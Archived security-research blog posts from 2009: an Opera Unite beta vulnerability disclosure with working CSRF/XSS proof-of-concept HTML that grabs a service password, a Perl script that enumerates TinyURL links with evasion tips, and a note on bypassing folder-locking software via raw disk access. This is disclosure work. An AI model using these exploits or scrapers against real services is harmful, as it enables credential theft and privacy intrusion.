Archive for the ‘Auth(entication/orization)’ Category

Pwning Opera Unite with Inferno’s Eleven

Monday, August 31st, 2009

Opera Unite, the upcoming version of the Opera browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can chat with people, leave notes, share files, play media, host your sites, etc. (Wow!!).

Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the Service Owner, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is “home”. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and auth.opera.com (no protocol details except here). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.

I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on 10.00 Beta 3 Build 1703). I am including the PoC in their respective sections. Remember to change “home” with your computerid and “infernosec2” with your userid.

1. Enumerating Service Owner Usernames — Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user’s pages (configurable). Here is the output from a simple query – site:operaunite.com


Opera Unite Username Enumeration using Google

2. Enumerating Computer names for a particular Service Owner — Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.


Opera Unite Computer Names Enumeration

3. Enumerating Service Owner Server IP address and Port number — If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.


Opera Unite Server IP and Port Disclosure

4. Hijacking Insecure Communication in Service Pages — While Opera Team has taken adequate steps to secure the Service Owner’s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera’s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting https://my.opera.com/


Opera Unite Insecure HTTP Communication

5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com — As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.


Opera Unite Phishing and Malware Pages Hosting

6. CSRF-ing a File Upload from a Trusted User — Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven’t felt the need to fix this (still works for IE8, Firefox 3.5.2).

01.<html>
02.<form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
03.<textarea name='file"; filename="evil"
04.Content-Type: text/html; '>
05.<html>
06.<script>
07.    var xhr = new XMLHttpRequest();
08.    xhr.onreadystatechange = function() {
09.            if (xhr.readyState == 4) {
10.                if (xhr.status == 200) {
11.                    var pattern= /<[^>]*unite-aclPassword" value="([^>]*)">/i;
12.                    if(pattern.test(xhr.responseText))
13.                    {
14.                        alert("Your acl password is: "+RegExp.$1);
15.                    }
16.                }
17.            }
18.        };
19. 
21.    xhr.send(null);
22.</script>
23.</html>
24.</textarea>
25.</form>
26.<script>
27.     document.forms[0].submit();
28.</script>
29.</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)


Opera Unite CSRF ing a file upload on File Uploader


Opera Unite Uploaded File XSS discloses sensitive access password

7. CSRF-ing a Note on the Fridge — Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer :) .

01.<html>
02.<form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
03.<input type="text" name="post" value="You are Hacked">
04.<input type="text" name="author" value="Attacker">
05.<input type="text" name="email" value="Evil">
06.<input type="text" name="cancel" value="cancel">
07.</form>
08.<script>
09.     document.forms[0].submit();
10.</script>
11.</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)


Opera Unite CSRF ing a note on the Fridge

8. CSRF-Ing anyuserid to join a chatroom — Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?

1.<html>
3.<input type="text" name="nick" value="anyfakeid">
4.</form>
5.<script>
6.     document.forms[0].submit();
7.</script>
8.</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)


Opera Unite CSRF ing anyfakeid user to join the Lounge

9. XSS ing the unite-session-id cookie, works for almost all services — There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though :)


Opera Unite XSS ing the unite-session-id cookie using older Flash

10. Clickjacking any Service Page — Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn’t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.

11. Inconsistency in Password Policy for some services — Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password “default”. So, your users will have to generate a strong password themselves, which is highly unlikely.



References :–

1. Clickjacking – Jeremiah Grossman and Robert “RSnake” Hansen
http://ha.ckers.org/blog/20081007/clickjacking-details/

2. Forging HTTP Request Headers with Flash – Amit Klein
http://www.securityfocus.com/archive/1/441014

3. Exploiting XSS Vulnerabilities on Cookies – Sirdarckcat
http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html

4. CSRF-ing File Upload Fields – Kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html

Unauthorized TinyURL URL Enumeration Vulnerability

Friday, February 20th, 2009

I am sure everyone has heard and used TinyUrl before. If you don’t know, TinyURL is kind of a web service that provides short aliases for easy redirection to long urls. The service is completely free and hence most people are tempted to use it. It solves the hard problem of remembering overly long urls.

There have been security vulnerabilities reported in TinyURL in the past, one of them is discussed by security researchers Pdp and Kuza55 here and here.

I would like to discuss another vulnerability here. I see an authorization issue with the way these user generated urls are accessible to anyone. Anyone can write a simple automated script to enumerate a large set of urls. The proof of concept code is shown below. I ran this script for a short while and was amused to see the amount of sensitive personal information that people unknowingly left in the URLs.

Some of the things I found include

  1. Username and Passwords in URLs : Weak web apps using credentials in GET still exist.
  2. Intranet URLs of Giant Corporations : Internal apps are generally not written with security in mind (fallible employee trust rule). Also, I see many urls that refer to internal company projects, bug databases, etc.
  3. Session ID in URLs : Many apps still pass session identifier as part of url. If the session identifier is active, your session can be easily hijacked.
  4. Spam URLs : This has been discussed many times in different places. Examples here and here.
  5. Resource Enumeration: I haven’t verified this, but definitely see it as a problem. If the resource pointed by the url is not protected by proper access controls, then an attacker can easily access it. Attacker does not need to guess the overly long url.

Download POF Code here. Use this code at your own risk.

01.#TinyURL URL Enumeration Script
02.#By Inferno {at} Securethoughts.com
03. 
04.use IO::Handle;
05.use LWP::UserAgent;
06.use Time::HiRes qw( sleep );
07. 
08.my $ua = LWP::UserAgent->new;
09.$ua->max_redirect(1);
10. 
11.#If you want to use Tor to protect your identity.
12.#$ua->proxy(['http'], 'http://127.0.0.1:8118/');
13. 
14.my $nd="";      # Length of ID
15.my $num="";     # Value of ID
16.my $url="";     # TinyURL Redirection Script Call
17.my $content=""; # HTTP Response from Redirection
18.my $temp="";    # Temporary Variable
19. 
20.open FILE, ">>:utf8", "tinyurl.out" or die("Cannot open file for output");
21.while(1)
22.{
23.    # Pick up a random ID length and value
24.    $nd=int(rand(8))+1;
25.    $num="";
26.    for($i=1;$i<=$nd;$i++)
27.    {
28.        $s=int(rand(36));
29.        $num.=($s>9)?chr($s+55):$s;
30.    }
31. 
32.    $temp="Processing ".$num."\n";
33.    syswrite(STDOUT, $temp, length($temp));
34. 
35.    # Construct the TinyURL Redirection URL
37. 
38.    my $request = new HTTP::Request("GET", $url);
39.    my $response = $ua->request($request);
40.    $content=$response->as_string;
41. 
42.    # Check if a Location Header is present & write the URL.
43.    if($content =~ m/(Location\: )(.*)/i)
44.    {
45.        $temp=$num." ".$2."\n";
46.        syswrite(FILE, $temp, length($temp));
47.    }
48. 
49.    #Use this if you want to hide you tracks with a random delay
50.    #sleep((int(rand(500))/100.0));
51.}
52.close (FILE);
53.exit 0;

Breaking the STEALTH myth of Desktop Locking Softwares

Thursday, February 5th, 2009

In this post, I will be talking about the security vulnerabilities in various desktop locking softwares such as Folder Guard, Lock Folder XP, etc. In fact, I will question their claims, one of which is given on their website as:

“You can even completely hide your private folders from virtually all applications, and such folders would remain invisible until you enter a valid password.”

Is this really true?? No, not at all. Let’s see how. Actually, my friend used one of these softwares and challenged me if I can expose his data without the password used to lock the data. So, I decided to give it a try.

I first downloaded and installed a trial copy of Folder Guard software on my computer. Then I created a folder named “mysecretfiles” inside directory “test” on G: drive. Then, I opened Folder Guard, created a login password and locked this folder. The configuration setting I used for this folder was Access = “No Access” and Visibility = “Hidden”. You should see a similar screenshot after you lock a folder.

I closed Folder Guard and clicked on “Yes” in the “Start Protecting the System” dialog box. This caused Folder Guard to enable protection on my folder. As a result, I didn’t see my locked folder in Windows Explorer.

I tried to understand how these softwares work. Almost all of them placed hooks into the windows device drivers and block access calls to locked files and folders. This model is flawed because an attacker can use the back channel, often referred to as Direct Disk Access Mode.

So, I decided to fire my favorite Disk Editor WinHex and I could easily see and browse my locked folder with ease. I could look inside my locked file “mysensitivedata.txt” and check its contents with my username, password and SSN :) . The other best part of this disk editor is that I don’t need to install it, I could just easily run it from a USB pen stick.

So, the best protection to protect your data is still to use industry standard encryption with algorithms such as AES, 3DES, etc. Even if the data falls in wrong hands, the confidentiality of the data won’t be compromised. Use softwares like TrueCrypt to protect your sensitive data.